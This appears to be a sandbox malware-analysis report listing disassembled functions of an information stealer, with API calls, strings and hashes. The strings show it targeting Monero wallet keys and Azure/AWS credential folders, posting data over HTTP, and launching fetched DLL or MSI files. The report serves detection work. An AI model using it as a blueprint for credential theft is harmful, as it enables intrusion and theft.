Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 2e6fe513bb3b6d1cdddc236b3023b541a5ffcc86effae98166bd7c963e7b5d35
Instruction ID: 57da89655aa0ababfb5db5da74ec57371d1a6649ca0afadb32593545044f7eda
Opcode Fuzzy Hash: 2e6fe513bb3b6d1cdddc236b3023b541a5ffcc86effae98166bd7c963e7b5d35
Instruction Fuzzy Hash: 08E11F71910518AFCF06EBA0DD96EEE7778BF24305F104258F106BA091DF35AE09DBA2

Function 00384880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
Part of subcall function 003847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00384915
StrCmpCA.SHLWAPI(?,0115E828), ref: 0038493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00384ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,003A0DDB,00000000,?,?,00000000,?,",00000000,?,0115E758), ref: 00384DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00384E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00384E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00384E49
InternetCloseHandle.WININET(00000000), ref: 00384EAD
InternetCloseHandle.WININET(00000000), ref: 00384EC5
HttpOpenRequestA.WININET(00000000,0115E788,?,0115DFC8,00000000,00000000,00400100,00000000), ref: 00384B15

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

InternetCloseHandle.WININET(00000000), ref: 00384ECF

Strings

------, xrefs: 003849BD
", xrefs: 00384D33
------, xrefs: 00384B28
", xrefs: 00384BF2
------, xrefs: 00384C69

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 86e524fae4193bfd1a1d69553fffe1b0d02171da41b9bce476d7ff24003413bf
Instruction ID: eb82dbc147df63bf3853bbf4796108b4aa75eb66df94355a39ca6133160286d9
Opcode Fuzzy Hash: 86e524fae4193bfd1a1d69553fffe1b0d02171da41b9bce476d7ff24003413bf
Instruction Fuzzy Hash: 8712D0729206189ADF16EB90DC92FEEB778BF55300F504299F10666091EF702F49DFA2

Function 0038C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0115CE08,00000000,?,003A144C,00000000,?,?), ref: 0038CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0038CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0038CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0038CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0038CAD9
StrStrA.SHLWAPI(?,0115CE98,003A0B52), ref: 0038CAF7
StrStrA.SHLWAPI(00000000,0115D000), ref: 0038CB1E
StrStrA.SHLWAPI(?,0115DBC0,00000000,?,003A1458,00000000,?,00000000,00000000,?,011590F0,00000000,?,003A1454,00000000,?), ref: 0038CCA2
StrStrA.SHLWAPI(00000000,0115DB20), ref: 0038CCB9

Part of subcall function 0038C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0038C871
Part of subcall function 0038C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0038C87C

StrStrA.SHLWAPI(?,0115DB20,00000000,?,003A145C,00000000,?,00000000,01159100), ref: 0038CD5A
StrStrA.SHLWAPI(00000000,01158E60), ref: 0038CD71

Part of subcall function 0038C820: lstrcat.KERNEL32(?,003A0B46), ref: 0038C943
Part of subcall function 0038C820: lstrcat.KERNEL32(?,003A0B47), ref: 0038C957
Part of subcall function 0038C820: lstrcat.KERNEL32(?,003A0B4E), ref: 0038C978

lstrlen.KERNEL32(00000000), ref: 0038CE44
CloseHandle.KERNEL32(00000000), ref: 0038CE9C

Strings

, xrefs: 0038C9C6

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: df8127a1c8ce5292c1b76ec11bf2224e1b6729876287c5a52a290cff920aaf1a
Instruction ID: 7dd43e767064e1c80c8013c557f8a26ca7a028b7bcd8e73447b1425395b13a2d
Opcode Fuzzy Hash: df8127a1c8ce5292c1b76ec11bf2224e1b6729876287c5a52a290cff920aaf1a
Instruction Fuzzy Hash: FAE1FF71910518AFDF16EBA4DC95FEEBB78BF14300F404259F1066B191EF306A4ADBA2

Function 00398320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

RegOpenKeyExA.ADVAPI32(00000000,0115B328,00000000,00020019,00000000,003A05B6), ref: 003983A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00398426
wsprintfA.USER32 ref: 00398459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0039847B
RegCloseKey.ADVAPI32(00000000), ref: 0039848C
RegCloseKey.ADVAPI32(00000000), ref: 00398499

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Strings

?, xrefs: 0039837A
- , xrefs: 003985A3
%s\%s, xrefs: 0039844D

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 37553fbb7cd592ea49218206f0a6177991c26312428163116ad643566d3f56c2
Instruction ID: b8eda88b2d5f85d38733ddd5ca4848b362f4c748ae964b407b8f8b58f20f80f7
Opcode Fuzzy Hash: 37553fbb7cd592ea49218206f0a6177991c26312428163116ad643566d3f56c2
Instruction Fuzzy Hash: 2381F97191051CABEB29DB60CD95FEAB7B8FF58704F008298E109A6140DF716A89CFE1

Function 00394D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

lstrcat.KERNEL32(?,00000000), ref: 00394DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00394DCD

Part of subcall function 00394910: wsprintfA.USER32 ref: 0039492C
Part of subcall function 00394910: FindFirstFileA.KERNEL32(?,?), ref: 00394943

lstrcat.KERNEL32(?,00000000), ref: 00394E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00394E59

Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A0FDC), ref: 00394971
Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A0FE0), ref: 00394987
Part of subcall function 00394910: FindNextFileA.KERNEL32(000000FF,?), ref: 00394B7D
Part of subcall function 00394910: FindClose.KERNEL32(000000FF), ref: 00394B92

lstrcat.KERNEL32(?,00000000), ref: 00394EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00394EE5

Part of subcall function 00394910: wsprintfA.USER32 ref: 003949B0
Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A08D2), ref: 003949C5
Part of subcall function 00394910: wsprintfA.USER32 ref: 003949E2
Part of subcall function 00394910: PathMatchSpecA.SHLWAPI(?,?), ref: 00394A1E
Part of subcall function 00394910: lstrcat.KERNEL32(?,0115E858), ref: 00394A4A
Part of subcall function 00394910: lstrcat.KERNEL32(?,003A0FF8), ref: 00394A5C
Part of subcall function 00394910: lstrcat.KERNEL32(?,?), ref: 00394A70
Part of subcall function 00394910: lstrcat.KERNEL32(?,003A0FFC), ref: 00394A82
Part of subcall function 00394910: lstrcat.KERNEL32(?,?), ref: 00394A96
Part of subcall function 00394910: CopyFileA.KERNEL32(?,?,00000001), ref: 00394AAC
Part of subcall function 00394910: DeleteFileA.KERNEL32(?), ref: 00394B31

Strings

msal.cache, xrefs: 00394EF0
Azure\.IdentityService, xrefs: 00394EEB
\.IdentityService\, xrefs: 00394ED9
\.aws\, xrefs: 00394E4D
Azure\.azure, xrefs: 00394DD3
Azure\.aws, xrefs: 00394E5F
*.*, xrefs: 00394E64
\.azure\, xrefs: 00394DC1
*.*, xrefs: 00394DD8

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: ec14198ede539764cc98dfbc9b060d6e93c8abc0c312f1965f64104387dca8d3
Instruction ID: 493463e42798e4a39787ae4a3b0a2ce115735d518e0fe9308e637d7a47357c43
Opcode Fuzzy Hash: ec14198ede539764cc98dfbc9b060d6e93c8abc0c312f1965f64104387dca8d3
Instruction Fuzzy Hash: C241D6BA95030867DB15F760EC47FEE3738AB65704F004494B245AA0C1FEB45BC98B92

Function 00399010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0039906C

Strings

image/jpeg, xrefs: 00399136

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 424950658fedeba7f591bf3062e4f3292614c79fe0ccab97a9bf839e2e1f71a7
Instruction ID: b404a8fc6ae3ca88664d2b0bbf89bb520614bb79288eb632cfdf71adab80f500
Opcode Fuzzy Hash: 424950658fedeba7f591bf3062e4f3292614c79fe0ccab97a9bf839e2e1f71a7
Instruction Fuzzy Hash: A371DA75910608AFDB04EBE4DC89FEEBBB8FB58704F108508F516AB290DB34A945DB61

Function 00392E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

ShellExecuteEx.SHELL32(0000003C), ref: 003931C5
ShellExecuteEx.SHELL32(0000003C), ref: 0039335D
ShellExecuteEx.SHELL32(0000003C), ref: 003934EA

Strings

/i ", xrefs: 003933E4
C:\Windows\system32\rundll32.exe, xrefs: 00393332
"" , xrefs: 0039309A
C:\Windows\system32\msiexec.exe, xrefs: 003934BF
/passive, xrefs: 0039345B
<, xrefs: 00393490
.msi, xrefs: 00393398
.dll, xrefs: 003931E5

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: fccde21924cd6ee9074d54be6308dd41d875e42e703b5f24d365a2c2401768e6
Instruction ID: ac345bdbf4afad4efea6b61427706070990cdd9e31017373fb5333ca9d24c139
Opcode Fuzzy Hash: fccde21924cd6ee9074d54be6308dd41d875e42e703b5f24d365a2c2401768e6
Instruction Fuzzy Hash: 0C12FF718145189ADF1AFBA0DC92FEEB778AF14300F504259F5066A191EF342B4ADFE2

Function 003952C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 00386280: InternetOpenA.WININET(003A0DFE,00000001,00000000,00000000,00000000), ref: 003862E1
Part of subcall function 00386280: StrCmpCA.SHLWAPI(?,0115E828), ref: 00386303
Part of subcall function 00386280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00386335
Part of subcall function 00386280: HttpOpenRequestA.WININET(00000000,GET,?,0115DFC8,00000000,00000000,00400100,00000000), ref: 00386385
Part of subcall function 00386280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003863BF
Part of subcall function 00386280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003863D1

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00395318
lstrlen.KERNEL32(00000000), ref: 0039532F

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00395364
lstrlen.KERNEL32(00000000), ref: 00395383
lstrlen.KERNEL32(00000000), ref: 003953AE

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Strings

ERROR, xrefs: 0039530A
ERROR, xrefs: 0039546F
ERROR, xrefs: 003954A9
ERROR, xrefs: 00395432
ERROR, xrefs: 003953B9

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 57cc4209df33fa1a2188bac05d16a27fd74fa5ff870aa97dbc83d75b7ad8c317
Instruction ID: 946790896487185e6f15ae44a1d226a8db9bcb1b36d22a1a24f202893c3e645a
Opcode Fuzzy Hash: 57cc4209df33fa1a2188bac05d16a27fd74fa5ff870aa97dbc83d75b7ad8c317
Instruction Fuzzy Hash: BA510D309246489BDF16FFA0CD96AED7B79EF11300F504118F40A6E592EF346B46DBA2

Function 003912D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 48e6223d8d50adad844d654d29662f8da319f12b93baaa18060ed6240b01945c
Instruction ID: b316746347b0bb88d032974e7f72cb4a15a3938602319e31ddb37e3f05f3254a
Opcode Fuzzy Hash: 48e6223d8d50adad844d654d29662f8da319f12b93baaa18060ed6240b01945c
Instruction Fuzzy Hash: DAC196B690021D9BCF15EF60DC89FEA7778BF64304F004599F50AAB241DB70AA85DF91

Function 00394280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

